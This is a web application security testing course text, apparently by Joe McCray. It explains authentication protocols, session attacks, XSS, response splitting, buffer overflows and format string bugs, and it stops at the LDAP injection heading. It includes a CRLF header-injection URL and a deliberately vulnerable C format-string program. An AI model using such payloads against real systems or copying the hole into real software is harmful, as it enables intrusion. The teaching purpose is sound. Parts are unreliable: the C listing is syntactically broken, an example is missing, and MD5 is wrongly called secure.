Advanced Web Application Security Testing By Joe McCray

Individual Contributors:

Chris Boedicker

Table of Contents

Introduction:	4
Foundations of Web Application Security:	4
Web Application Testing Process	. 51
Authentication Testing	121
1. Testing for Credentials Transported over an Encrypted Channel	121
2. Testing for default credentials	124
Authorization Testing	157
1. Testing Directory traversal / file include	157
2. Testing for Privilege Escalation	158
3. Testing for Insecure Direct Object References	162
Session Management Testing	167
1. Testing for Bypassing Session Management Schema	167
2. Testing for Cookies attributes	170
3. Testing for Session Fixation	173
4. Testing for Exposed Session Variables	100
5. Testing for Cross Site Request Forgery (CSRF)	102
6. Testing for logout functionality	107
7. Test Session Timeout	110
Input Validation Testing	112
1. Testing for Reflected Cross Site Scripting	112
2. Testing for Stored Cross Site Scripting	115
3. Testing for HTTP Verb Tampering	120
4. Testing for HTTP Parameter pollution	120
5. Testing for SQL Injection	121
Authentication Bypass	121
Error-Based SQL Injection	123
Boolean-based SQLi	130
Time-based SQLi	130
6. Testing for LDAP Injection	135
7. Testing for XML Injection	138
External Entity	139
8. Testing for XPath Injection	143
9. Testing for Code Injection	140
10. Testing for Command Injection	142
Testing for Error Handling	144
1. Analysis of Error Codes	144
2. Analysis of Stack Traces	147
Testing for weak Cryptography	148
1. SSL/TLS Testing	148
2. Testing for Padding Oracle	154
Business Testing Logic	160
1. Test Business Logic Data Validation	160
2. Test Ability to Forge Requests	163
3. Test Integrity Checks	163
4. Test for Process Timing	162
5. Test Defense Against Application Misuse	162

6.	Test Upload of Unexpected File Types	162
Client	Side Testing	172
1.	Testing for Client Side URL Redirect	172
2.	Testing for Clickjacking	175
3.	Test Cross Origin Resource Sharing	178
4.	Testing for Spoofable Client IP address	178

Introduction:

In software engineering, a web application is an application delivered to users from a web server over a network such as the internet or an intranet. Web applications are popular due to the ubiquity of the web browser as a client, sometimes called a thin client.

The ability to update and maintain web applications without distributing and installing software on potentially thousands of client computers is a key reason for their popularity.

Web applications are used to implement web mail, online retail sales, online auctions, discussion boards, weblogs, and perform many other functions.

So in today's' cyber world security of these web application is most critical and demanding. Web application security must be addressed across the tiers and at multiple layers of networking.

A weakness in any tier or layer makes your web application vulnerable to attack. The solution to Web application security is more than technology. It is an ongoing process involving people and practices. Web Security is the process of making the transactions and the data distributed over Internet, secure. In other words, it is the process of making activities that are carried out over a network, secure.

This course will introduce Web application security, explains common security terminology and presents a set of proven security principles.

Foundations of Web Application Security:

Security is the quality of being secure and web Security relies foremost on the following elements:

Authentication:

Authentication addresses the question: who are you? It is the process of uniquely identifying the clients of your applications and services. These might be end users, other services, processes, or computers. In security parlance, authenticated clients are referred to as principals.

Authorization:

Authorization addresses the question: what can you do? It is the process that governs the resources and operations that the authenticated client is permitted to access. Resources include files, databases, tables, rows, and so on, together with system-level resources such as registry keys and configuration data. Operations include performing transactions such as purchasing a product, transferring money from one account to another, or increasing a customer's credit rating.

Auditing:

Effective auditing and logging is the key to non-repudiation. Non-repudiation guarantees that a user cannot deny performing an operation or initiating a transaction. For example, in an e-commerce system, non-repudiation mechanisms are required to make sure that a consumer cannot deny ordering 100 copies of a particular book.

Confidentiality:

Confidentiality, also referred to as privacy, is the process of making sure that data remains private and confidential, and that it cannot be viewed by unauthorized users or eavesdroppers who monitor the flow of traffic across a network. Encryption is frequently used to enforce confidentiality. Access control lists (ACLs) are another means of enforcing confidentiality.

Integrity:

Integrity is the guarantee that data is protected from accidental or deliberate (malicious) modification. Like privacy, integrity is a key concern, particularly for data passed across networks. Integrity for data in transit is typically provided by using hashing techniques and message authentication codes.

Availability:

From a security perspective, availability means that systems remain available for legitimate users. The goal for many attackers with denial of service attacks is to crash an application or to make sure that it is sufficiently overwhelmed so that other users cannot access the application. Authentication:

Authentication is a fundamental aspect of system security. It confirms the identity of any user trying to log on to a domain or access network resources pr in other way Authentication is the technique by which a process verifies that its communication partner is who it is supposed to be and not an imposter.

Confusion about authorization and authentication: Authentication deals with the question of whether or not you are actually communicating with a specific process. Authorization is concerned with that process is permitted to do.

For example S client process contacts a files server and says: I'm a Joe's process and I want to delete the file movie.old. From the file server's point of view, two questions must be answered?

- 1. Is this actually Joe' S Process (authentication)
- 2. Is Joe allowed to delete the moive.old (authorization)

Only after both questions have been unambiguously answered in the affirmative can request action take place. The former question is really the key one. Once the file server knows whom it is talking to checking authorization is just a matter of looking up the entries in local tables.

Major Types of Authentication protocols:

- EAP
- CHAP
- PAP
- TACACS
- TACACS+
- IEEE 802.1x

- Radius
- Kerberos
- Message Digest (5th version) MD5.

1. EAP (Extensible Authentication Protocol):

Extensible Authentication Protocol (EAP) is key for protecting the security of wireless (802.1x) LANs, wired LANs and dial-up and Virtual Private Networks (VPNs). EAP does not decide on a specific authentication mechanism at the link control phase, but rather postpones this until the authentication phase. This allows the authenticator to request more information before determining the specific authentication mechanism. This also permits the use of a back-end server, which implements the various mechanisms while the PPP authenticator just passes through the authentication exchange.

2. CHAP (Challenge Handshake Authentication Protocol):

Short for Challenge Handshake Authentication Protocol, a type of authentication in which the authentication agent (typically a network server) sends the client a random value that is used only once and an ID value (challenge). Both the sender and peer share a predefined secret.

This protocol is used by ISPs to authenticate their clients. In this scheme, a value is sent to the client (the machine who connects), the client calculates a hash from this value which it sends to the server and the server compares the hash with the one it has calculated. If the value matches, then it allows the client to access the network. CHAP is a more secured protocol.

3. PAP (Password Authentication Protocol):

Password Authentication Protocol is a security authentication protocol used with PPP (Point to Point Protocol, An Internet protocol for connecting computers over a serial line). PAP is the most basic form of authentication for logging into a network. A user's name and password are transmitted over a network and compared to a table of name-password pairs. IT is a non-secure authentication scheme to validate the identity of the originator of the connection. An ID and password (requested by the remote access server) is transmitted in the clear from the originator (client). This two-way handshake results in link success or failure (termination). Contrast to CHAP.

4. TACACS (Terminal Access Controller Access Control System)

(TACACS): TACACS is a protocol for authenticating users, attempting to gain access to servers, networks and remote-access servers. Since TACACS is an unencrypted protocol, it is less secure than the latest TACACS+ and RADIUS protocols.

A TACACS server supports only the basic password exchanges that PAP uses; it does not support CHAP. TACACS is commonly used in UNIX networks.

5. TACACS (Terminal Access Controller Access Control System+):

TACACS+ is a superior version of TACACS and it gives more reliable services. TACACS+ and RADIUS ease the burden of managing enterprise remote-access services. These systems provide a suite of services, including user authentication, authorization and usage accounting, collectively known as AAA.

The TACACS+ protocol was designed to allow effective communication of AAA information between NAS's and a central server. It uses TCP for reliable connections between clients and servers. TACACS+ is a completely new protocol and is therefore not compatible with TACACS or XTACACS.

6. IEEE802.1x:

IEEE 802.1X is an IEEE (Institute of Electrical and Electronics Engineers) standard for port-based network access control, part of the IEEE 802 (802.1) group of protocols. It provides authentication to devices attached to a LAN port, establishing a point-to-point connection or preventing access from that port if authentication fails. It is often used for wireless access points, and is based on the EAP, Extensible Authentication Protocol (RFC 2284).

IEEE 802.1x provides an effective framework for authentication. It requires entities to play three roles in the authentication process, namely,

1. Supplicant (a client device - usually a PC or Laptop with 802.1X client loaded),

2. Authenticator (device with 802.1x support - Usually a LAN switch with 802.1x support or a Access point with 802.1x support)

3. Authentication Server (Radius/TACACS server).

7. RADIUS (Remote Authentication Dial-In User Service):

RADIUS stands for Remote Authentication Dial-In User Service. RADIUS is a widely used protocol in network environments for Authentication.

There are three specifications that make up the RADIUS protocol suite:

- Authorization,
- Authentication
- and Accounting.

These specifications objective to centralize authentication, authorization, configuration and accounting for dial-in services to an independent server. RADIUS allows a company to maintain user profiles in a central database that all remote servers can share. It provides better security, allowing a company to set up a policy that can be applied at a single administered network point. Having a central service also means that it's easier to track usage for billing and keeping network statistics.

KERBEROS:

Kerberos is a network authentication protocol developed at the **Massachusetts Institute of Technology** (**MIT**).

Kerberos is an Internet Engineering Task Force (IETF) standard for providing authentication. Kerberos works by having a central server grant a "ticket" honoured by all networked nodes running Kerberos. In short It is a security system based on symmetric key cryptography.

It is designed to provide strong authentication for client/server applications by using secret-key cryptography. Once the user is authenticated, the server issues a "ticket" to allow the client to make a valid request for the services (eg., e-mail, printing services etc). The core of Kerberos architecture is the **KDC (Key Distribution Server).** The KDC stores authentication information and uses it to securely authenticate users and services. It also prevents eavesdropping or replay attacks (recording and retrying encryption information "snooped" off the network), through support for a variety of data encryption schemes.

Message Digest (5th version) - MD5:

This is a fast and secure algorithm & used in public key encryption. MD5 is frequently used alongside encryption and authentication software. MD5 produces a short (typically 16 bytes) checksum of a file.

 Any change to the original file will result in a change to the checksum and thus allow tampering to be detected without having to compare the full -length files. The MD5 algorithm is intended for digital signature applications, where a large file must be "compressed" in a secure manner before being encrypted with a private (secret) key under a public key crypto system like RSA Data Security or PGP.

Threat to Authentication:

This section will discuss the attacks used to circumvent or exploit the authentication process of web applications.

(A) Brute Force or Dictionary Attack

In computer science, a brute-force consists of systematically enumerating every possible solution of a problem until a solution is found, or all possible solutions have been exhausted. For example, an anagram problem can be solved by enumerating all possible combinations of words with the same number of letters as the desired phrase, and checking one by one whether the words make a valid anagram.

In web applications a Brute Force attack is an automated process of trial and error used to guess a person's username, password, credit-card number or cryptographic key. many systems will allow the use of weak passwords or cryptographic keys, and users will often choose easy to guess passwords, **possibly found in a dictionary**.

Given this scenario, an attacker would cycle though the dictionary word by word, generating thousands or potentially millions of incorrect guesses search for the valid password. When a guessed password allows access to the system, the brute force attack has been successful and the attacker is able access the account.

The same trial and error technique is also applicable to guessing encryption keys. When a web application uses a weak or small key size, it's possible for an attacker to guess a correct key by testing all possible keys.

Broadly there are two types of brute force attacks:

Normal brute force: A normal brute force attack uses a single username against many passwords.

Reverse brute force: A reverse brute force attack uses many usernames against one password. In systems with millions of user accounts, the odds of multiple users having the same password dramatically increases.

While brute force techniques are highly popular and often successful, they can take hours, weeks or years to complete.

(B) Insufficient Authentication ("Security through Obscurity")

Insufficient Authentication go on when a web site permits an attacker to access sensitive content or functionality without having to properly authenticate. Web-based administration tools are a good example of web sites providing access to sensitive functionality. Depending on the specific online resource, these web applications should not be directly accessible without the user required to properly verify their identity.

To get around setting up authentication, some resources are protected by "hiding" the specific location and not linking the location into the main web site or other public places. However, this approach is nothing more than **"Security Through Obscurity"**. Its vital to understand that simply because a resource is unknown to an attacker, it still remains accessible directly through a specific URL. The specific URL could be discovered through a Brute Force probing for common file and directory locations (/admin for example), error messages, referrer logs, or perhaps documented in help files. These resources, whether they are content or functionality driven, should be adequately protected.

Example:

Many web applications have been designed with administrative functionality location directory off the root directory (/admin/). This directory is usually never linked to anywhere on the web site, but can still be accessed using a standard web browser. Since the user or developer never expected anyone to view this page since its not linked, adding authentication is many times overlooked. If an attacker were to simply visit this page, they would obtain complete administrative access to the web site.

(C) Weak Password Recovery Validation

The Authentication covers attacks that target a web site's or web application method of validating the uniqueness of a user, service or application. Authentication is performed using at least one of three mechanisms:

- Something you have
- Something you know
- Something you are

Weak Password Recovery Validation is when a web site or web application allow an attacker to illegally obtain, change or recover another user's password. Conventional web site authentication methods require users to select and remember a password or pass phrase. The user should be the only person that knows the password and it must be remembered precisely. As time passes, a user's ability to remember a password fades. The matter is further complicated when the average user visits 20 sites requiring them to supply a password.

Examples of automated password recovery processes include requiring the user to answer a "secret question" defined as part of the user registration process. This question can either be selected from a list of canned questions or supplied by the user. Another mechanism in use is having the user provide a "hint" during registration that will help the user remember his password. Other mechanisms require the user to provide several pieces of personal data such as their social security number, home address, zip code etc. to validate their identity. After the user has proven who they are, the recovery system will display or e-mail them a new password.

A web site is considered to have Weak Password Recovery Validation when an attacker is able to foil the recovery mechanism being used. This happens when the information required to validate a user's identity for recovery is either easily guessed or can be circumvented. Password recovery systems may be compromised through the use of brute force attacks, inherent system weaknesses, or easily guessed secret questions.

(E) Information Verification

some websites only needs the email address in combination with their home address and telephone number. This information can be easily obtained from any number of online white pages or even through searching on Google. As a result, the verification information is not much undisclosed. Further, the information can be compromised via other methods such as Cross-site Scripting and Phishing Scams.

(F) Password Hints

As we all knows that most of websites has the alternate for the missing password is hints to help for reminding or recovering of the passwords (You must have seen the forgot password link on email portals like yahoo, hotmail). It can be easily source for the attack because the hint gives support to Brute Force attacks. A user may have fairly good password of "1980tom" with a corresponding password hint of "birthday+ pet name". An attacker can assemble from this hint that the user's password is a combination of the user's birthday and the user's pet name. This helps thins the dictionary Brute Force attack against the password significantly.

(G) Secret Question and Answer

This is also a very practical and common loop hole in password security, Even you may have tried this some time in your life also. A user's password could be "California" with a secret question of" where you live". An attacker could then limit a secret answer Brute Force attack to city names. Moreover, if the attacker knows a little about the target user, learning their living place is also an straightforward task.

AAA or Triple-A Framework in web security:

Security for service access is one of the primary issues that we attempt to address. Thus, we look at (standard) systems and protocols for building Authentication, Authorization, and Accounting (AAA) frameworks. First time AAA Frame work Proposed and **submitted by the IETF AAA WG** (The Internet Engineering Task Force AAA work group).

AAA (Authentication, Authorization, Accounting) describes a framework for intelligently controlling access to network resources, enforcing policies, and providing the information necessary to bill for services.

Normally AAA framework works on mainly its protocols:

- Diameter
- Radius

Diameter, a state-of-the-art AAA protocol designed to meet today's reliability, security and robustness requirements, and examines Diameter-Mobile IP interactions; and explains

RADIUS (Remote Authentication Dial-In User Services) and its latest extensions; details EAP (Extensible Authentication Protocol) in-depth, giving a protocol overview, and covering EAP-XXX;

Infrastructure protocols or AAA protocols, which employ one or more authentication Protocols to do AAA. Any AAA protocol is composed of a number of sub-protocols that define the generic characteristics, e.g., the format in which the authentication messages (as defined by the authentication protocol in use) should be transported, how to route AAA messages, etc. These protocols work towards authenticating and authorizing users for the basic network connectivity at a public place. The AAA protocol that has been widely deployed is Remote Access Dial-in User Service (RADIUS).

The main aim of AAA is to provide a range of different user authentication and data encryption options so that each user can be given the appropriate level of security for their particular applications.

Authorization:

An "authorization" is a right or a permission that is granted to a system entity to access a system resource. **RFC 2989** Network Access AAA Evaluation Criteria defines authorization as;

"The act of determining if a particular right, such as access to some resource, can be granted to the presenter of a particular credential."

Clearly there needs to be some assurance that the presenter has the associated rights to obtain that credential. Looking back at our explanation of identity and authentication, if we seek to authorize access to a resource based on a user's identity (his credential) we need to ensure that that user is properly authenticated to the credential. Furthermore it could be argued that the presenter of the credential should authenticate the resource he is in fact accessing to complete the chain of trust for the transaction. This is usually referred to as mutual or bilateral authorization.

The Authorization section covers attacks that target a web site's method of determining if a user, service, or application has the necessary permissions to perform a requested action. For example, many web sites should only allow certain users to access specific content or functionality. Other times a user's access to other resources might be restricted.

Techniques, to attack on authorization:

Using these various techniques, an attacker can hoax a web site into increasing their privileges to protected areas.

1. Session Hijacking

Recording of Session Prediction is a method of hijacking or impersonating a web site user details. Assuming or guessing the unique value that identifies a particular session or user accomplishes the attack, the consequences could allow attackers the ability to issue web site requests with the compromised user's privileges.

Many web sites are intended to authenticate and track a web user when communication is first established. For this we use the cookies, sessions etc ... To do this, users must prove their identity to the web site, typically by supplying a username/password (credentials) combination. Rather than passing these confidential credentials back and forth with each transaction, web sites will generate a unique "session ID" to identify the user session as authenticated. Subsequent communication between the user and the web site is tagged with the session ID as "proof" of the authenticated session. If an attacker is able predict or guess the session ID of another user, fraudulent activity is possible.

Many web sites attempt to generate session IDs using proprietary algorithms. These custom methodologies might generation session IDs by simply incrementing static numbers. Or there could be more complex procedures such as factoring in time and other computer specific variables.

The session ID is then stored in a cookie, hidden form-field, or URL. If an attacker can determine the algorithm used to generate the session ID, an attack can be mounted as follows:

• Attacker connects to the web application acquiring the current session ID.

- Attacker calculates or Brute Forces the next session ID.
- Attacker switches the current value in the cookie/hidden form field/ URL and assumes the identity of the next user.

2. Insufficient Authorization

when a web site grants the access to sensitive data or functionality but for that user should have the increased access control restrictions which he don't have right now is called as a Insufficient Authorization. When a user is authenticated to a web site, it does not necessarily mean that he should have full access to all content and that functionality should be granted arbitrarily. Authorization procedures are performed after authentication, enforcing what a user, service or application is permitted to do. Thoughtful restrictions should govern particular web site activity according to policy. Sensitive portions of a web site may need to be restricted to everyone expect to perhaps an administrator.

In the past, many web sites have stored administrative content and/or functionality the in hidden directories such as /admin or /logs. If an attacker was to directly request these directories, he would be allowed access. He may thus be able to reconfigure the web server, access sensitive information or compromise the web site.

3. Insufficient Session Expiration:

when a web site allow an attacker to reuse old session authorization or session IDs for authorization. Insufficient Session Expiration increases a web site's exposure to attacks that steal or impersonate other users. Since HTTP is a stateless protocol, web sites commonly use session IDs to uniquely identify a user from request to request. Consequently, each session ID's confidentiality must be maintained in order to prevent multiple users from accessing the same account. A stolen session ID can be used to view another user's account or perform a fraudulent transaction.

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim. A long expiration time increases an attacker's chance of successfully guessing a valid session ID. The long length of time increases the number of concurrent and open sessions, which enlarges the pool of numbers an attacker, might guess.

In a shared computing environment (more than one person has unrestricted physical access to a computer), Insufficient Session Expiration can be exploited to view another user's web activity. If a web site's logout function merely sends the victim to the site's home page without ending the session, another user could go through the browser's page history and view pages accessed by the victim. Since the victim's session ID has not been expired, the attacker would be able to see the victim's session without being required to supply authentication credentials.

4. Session Fixation

Session Fixation is an attack practice that forces a user's session ID to an explicit value. Depending on the functionality of the target web site, a number of techniques can be utilized to "fix" the session ID value. These techniques range from Cross-site Scripting exploits to peppering the web site with previously made HTTP requests. After a user's session ID has been fixed, the attacker will wait for them to login. Once the user does so, the attacker uses the predefined session ID value to assume their online identity. Generally speaking there are two types of session management systems when it comes to ID values.

The first type is "permissive" systems that allow web browsers to specify any ID. The second type is "strict" systems that only accept server-side generated values. With permissive systems, arbitrary session IDs are maintained without contact with the web site. Strict systems require the attacker to maintain the "trap-session", with periodic web site contact, preventing inactivity timeouts. Without active protection against session fixation, the attack can be mounted against any web site using sessions to identify authenticated users. Web sites using sessions IDs are normally cookie-based, but URLs and hidden form-fields are used as well. Unfortunately, cookie-based sessions are the easiest to attack. Most of the currently identified attack methods are aimed toward the fixation of cookies.

In contrast to stealing a user's session ID after they have logged into a web site, session fixation provides a much wider window of opportunity. The active part of the attack takes place before the user logs in.

The session fixation attack is normally a three step process:

1) Session set-up

The attacker sets up a "trap-session" for the target web site and obtains that session's ID. Or, the attacker may select an arbitrary session ID used in the attack. In some cases, the established trap session value must be maintained (kept alive) with repeated web site contact.

2) Session fixation

The attacker introduces the trap session value into the user's browser and fixes the user's session ID.

3) Session entrance

The attacker waits until the user logs into the target web site. When the user does so, the fixed session ID value will be used and the attacker may take over.

Fixing a user's session ID value can be achieved with the following techniques:

Issuing a new session ID cookie value using a client-side script

A Cross-site Scripting vulnerability present on any web site in the domain can be used to modify the current cookie value.

Client-side Attacks: Cross-site Scripting (XSS)

Web applications often make the use of client side scripting languages like java script VB scripts into web pages to support dynamic client-side behavior. This script code is executed in the context of the user's web browser. To protect the user's environment from malicious script code, a **sandboxing mechanism** (Sandboxing is a popular technique for creating confined execution environments, which could be used for running un-trusted programs. A sandbox limits, or reduces, the level of access its applications have —it is a container.) is used that limits a program to access only resources associated with its origin site.

Unfortunately, these security mechanisms fail if a user can be lured into downloading malicious Script code from an intermediate, trusted site. In this case, the malicious script is granted full access to all resources (e.g., authentication tokens and cookies) that belong to the trusted site. Such attacks are called cross-site scripting (XSS) attacks.

Cross-site Scripting (XSS) is an attack technique that forces a web site to echo attacker-supplied executable code, which loads in a user's browser. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user's browser to execute his code, the code will run within the security context of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site.

Threats of Cross Site Scripting:

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. Now a days we can see the new malicious uses are being found every day for XSS attacks:

There are two types of Cross-site Scripting attacks

- Non-Persistent or reflected vulnerability Attacks
- Persistent or second-order vulnerability Attacks

Non-Persistent or reflected vulnerability Attacks

This kind of cross site scripting hole is also referred to as a non-persistent or reflected vulnerability, and is by far the most common type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If invalidated user supplied data is included in the resulting page without HTML quoting, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms aren't HTML quoted, a XSS hole will result.

At first blush, this doesn't appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross site scripting vulnerabilities..

Persistent or second-order vulnerability Attacks

XSS vulnerability is also referred to as a stored or persistent or second-order vulnerability and it allows the most powerful kinds of attacks. This XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being HTML quoted. A classic example of this is with online message boards, where users are allowed to post HTML formatted messages for other users to read. These vulnerabilities are usually more significant than other type because an attacker can inject script just once, and could potentially hit a large number of other users with little need for social engineering. The methods of injection can vary a great deal, and an attacker may not need to use the web application itself to exploit such a hole. Any data received by the web application (via email, system logs, etc) that can be controlled by an attacker must be quoted prior to re-display in a dynamic page, else a XSS vulnerability of this type could result.

Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to click on any link, just simply view the web page containing the code.

1. Client-side Attacks: Spoofing

Spoofing" is an attempt to gain access to a system by posing as an authorized user. Synonymous with impersonating, masquerading or mimicking.

Spoof Sites: when we use the web, our browser sends requests to web servers based on the domain name of the server, e.g. ebay.com. Browsers usually display the domain name, we part of the `address` or `location` of the page, e.g. the joe homepage address of http://www.joe.com. Attackers can easily own any unallocated domain name – often confusingly similar to the `correct' domain names, e.g. joeonline.com. Attackers have essentially complete control over the content of the page, so it may display the name and logo of say about Joe– without Joe's authorization. Attackers can also select any prefix to the domain name, e.g. if attacker owns bkup1.com, then he can use e.g. joe.bkup1.com. Such sites, that try to appear as belonging to some organization or company without authorization, are called spoofed sites.

In other words, attacker creates misleading context in order to trick the victim into making an inappropriate security-relevant decision.

People using computer systems often make security-relevant decisions based on contextual cues they see. For example, you might decide to type in your bank account number because you believe you are visiting your bank's Web page. This belief might arise because the page has a familiar look, because the bank's URL appears in the browser's location line, or for some other reason.

Webpage spoofing," also known as phishing. In this attack, a web page is replicated in "look and feel" to another server but is owned and operated by someone else. It is intended to fool someone into thinking that they are connected to a trusted site.

Typically, a bank's log-in page might be spoofed by a crook. The crook then harvests the user names and passwords. This attack is often performed with the aid of DNS cache poisoning in order to direct the user away from the legitimate site and into the false one. Once the user puts in their password, the attack-code reports a password error, and then redirects the user back to the legitimate site.

Content Spoofing: is an attack technique used to trick a user into believing that certain content appearing on a web site is legitimate and not from an external source.

2. Client-side Attacks: HTTP Response Splitting

HTTP Response splitting is a modern form of web application vulnerability. It can be used to perform Cross site scripting attacks, Cross user defacement, Web cache poisoning and similar exploits.

In this Attack at least these three parties always involved:

- Web server
- Target an entity that act together with the web server perhaps on behalf of the attacker. Usually this is a cache server (forward/reverse proxy), or a may be browser (possibly with a browser cache).
- Attacker set off the attack

HTTP Response splitting is when you inject headers into the normal response sent by a server. A normal http request consists of a "Request", "Response" between client and server respectively. HTTP Response splitting is an error in the user input sanitization that allows an attacker to change the response that the server sends to the client.

In its straightforward form consider a PHP redirect on page redir.php.



In this case you can send the URL: redir.php?id=0d%0aSet-Cookie%3Asome%3Dvalue this will cause the server to set a cookie on the clients machine.

With HTTP Response splitting mechanism these kinds of attacks can be accumulate:

- Cross-Site Scripting (XSS):
- Web Cache poisoning (defacement): In this defacement takes place where a cache is poisoned which is used by multiple users, thus making them think the site has been defaced, or that the site they are seeing is the genuine site when its not. In this case the attacker uses a proxy server etc and calls the vulnerable page using it to fool the cache into caching the second server response over which the attacker as complete control thus making the website defaced for anyone who uses or shares that cache server or proxy server. Uses for such an attack would vary vastly, some being: Defacement as it causes everyone who uses that cache or proxy to see the website as defaced.
- **Browser cache poisoning:** This is analogous to XSS, the only difference being that the attacker forces the browser to cache the web page thus forming a long lasting defacement till the browser's cache has been empty or cleaned.
- **Cross User attacks:** It is a short-term defacement where the website, may looked defaced to a particular user. This is used in cases of information, id, or password theft. This enables an attacker to make the website look defaced to a particular single user, thus allowing the attacker to steal session data, cookies. It also allows the attacker to lift login information by forging a fake login screen for the website, thus allowing account compromise.
- **Hijacking pages with user-specific information:** This permits user access to sensitive information, which could be confidential or not normally accessible to the user. With this the attacker can receive the server's response to the client allowing sensitive data from the server to the client to be stolen by the attacker.

Command Execution

When we send some inputs (remote commands) to web applications on internet to fulfill requests. Often these user-supplied requests (data) are used to create and the construct commands resulting in dynamic web page content. If this process is done insecurely, an attacker could alter command execution.

These are the major vulnerability of Command execution:

- Buffer Overflow
- Format String Attack
- LDAP Injection
- OS Commanding
- SQL Injection
- SSI Injection
- XPath Injection

1. Buffer Overflow

In computer security and application programming, a buffer overflow is an anomalous condition where a process attempts to store more data in a buffer than there is memory allocated for it, causing the extra data to overwrite adjacent memory locations. The overwritten data may include other buffers, variables and program flow data.

Buffer overflows can cause a process to crash or produce incorrect results. They can be triggered by specially crafted input which may be designed to execute arbitrary, possibly malicious, code, or to make the program operate in an unintended way. As such, buffer overflows cause many vulnerabilities.

Basic example

In the following example, a program has defined two data items which are adjacent in memory: an 8-bytelong string buffer, A, and a two-byte integer, B. Initially, A contains nothing but zero bytes, and B contains the number 3. Characters are one byte wide.

А	А	А	А	А	А	А	А	В	В
0	0	0	0	0	0	0	0	0	3

Now, the program attempts to store the character string "excessive" in the A buffer, followed by a zero byte to mark the end of the string. By not checking the length of the string, it overwrites the value of B:

А	А	А	А	А	А	А	А	В	В
'e'	'x'	'c'	'e'	's'	's'	'i'	'v'	'e'	0

Although the programmer did not intend to change B at all, B's value has now been replaced by a number formed from part of the character string. (In this example, on a big-endian system that uses ASCII, 'e' followed by a zero byte becomes the number 25856.)

If B was the only other variable data item defined by the program, writing an even longer string that went past the end of B could cause an error such as a segmentation fault, terminating the process.

Buffer overflows on the stack

Besides changing the values of unrelated variables, a buffer overflow can cause actions that the programming language would normally never allow. This most often happens when the buffer is on the stack, a storage area onto which data is temporarily "pushed" during the execution of a function. Typically, when a function begins executing, additional memory is allocated at the "top" of the stack to provide storage space for any temporary data items that the function will use. In this example, "X" is data that was on the stack when the program began executing; the program then called a function "Y", which required a small amount of storage of its own; and "Y" then called "Z", which required a large buffer:

Ζ	Ζ	Ζ	Ζ	Ζ	Ζ	Y	Х	Х	Х
						:	/	/	/

If the function Z caused a buffer overflow, it could overwrite data that belonged to function Y or to the main program:

Ζ	Ζ	Ζ	Ζ	Ζ	Ζ	Y	Х	Х	Х
•	•	•	•	•		•	•	/	/

This is particularly serious because on most systems, the stack also holds the return address, that is, the location of the part of the program that was executing before the current function was called. When the function ends, the temporary storage is removed from the stack, and execution is transferred back to the return address. If, however, the return address has been overwritten by a buffer overflow, it will now point to some other location. In the case of an accidental buffer overflow as in the first example, this will almost certainly be an invalid location, not containing any program instructions, and the process will crash.

In concern with web application security a buffer overflow is a condition where poor input handling in a application results in the ability to inject attack code into specific memory locations. This code runs in the security context of the host application, which sometimes results in having privileges of the powerful System account. Although they require above-average skill to execute, buffer overflow attacks are attractive to hackers because they allow remote code execution. And since exploit tools are often available to automate the overflow, buffer overflow attacks can be widespread.

Note that buffer overflows can also cause the application to crash, putting them also in the category of denial of service attacks.

Buffer Overflows vulnerabilities are most common in C and C++. A Buffer Overflow can also occur in a CGI program or when a web page accesses a C program through some scripts.

2. Format String Attack

Format string attacks are a class of vulnerabilities discovered in June 2000. Format string attacks can be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf(). A malicious user may use the %s and %x format tokens, among others, to print data from the stack or possibly other locations in memory.

One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write back the number of bytes formatted to an argument of type int *. By manipulating the stack by using spurious format tokens, this argument can be faked as part of the format string or possibly other user input.

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain.

The second version simply prints a string to the screen, as the programmer intended. Format bugs arise because C's argument passing conventions are type-unsafe. In particular, the varargs mechanism allows functions to accept any number of arguments (e.g. printf) by "popping" as many arguments off the call stack as they wish, trusting the early arguments to indicate how many additional arguments are to be popped, and of what types.

Example:

This example will show the basic principles of this attack.

```
/*
* fmtme.c
* Format a value into a fixed-size buffer
#include <stdio.h>
int
main(int argc, char **argv)
char buf[100];
int x;
if (argc != 2)
exit(1);
x = 1;
snprintf(buf, sizeof buf, argv[1]);
buf[size of buf - 1] = 0;
printf("buffer (%d): %s\n", strlen(buf), buf);
printf("x is %d/%#x (@ %p)\n", x, x, &x);
return 0;
}
```

In this example A value passed on the command line is formatted into a fixed-length buffer. Care is taken to make sure the buffer limits are not exceeded. After the buffer is formatted, it is output. In addition to formatting the argument, a second integer value is set and later output.

This variable will be used as the target of attacks later. For now, it should be noted that its value should always be one. The actual numbers used here will vary from system to system with differences in architecture, operating system, environment and even command line length.

3. LDAP Injection

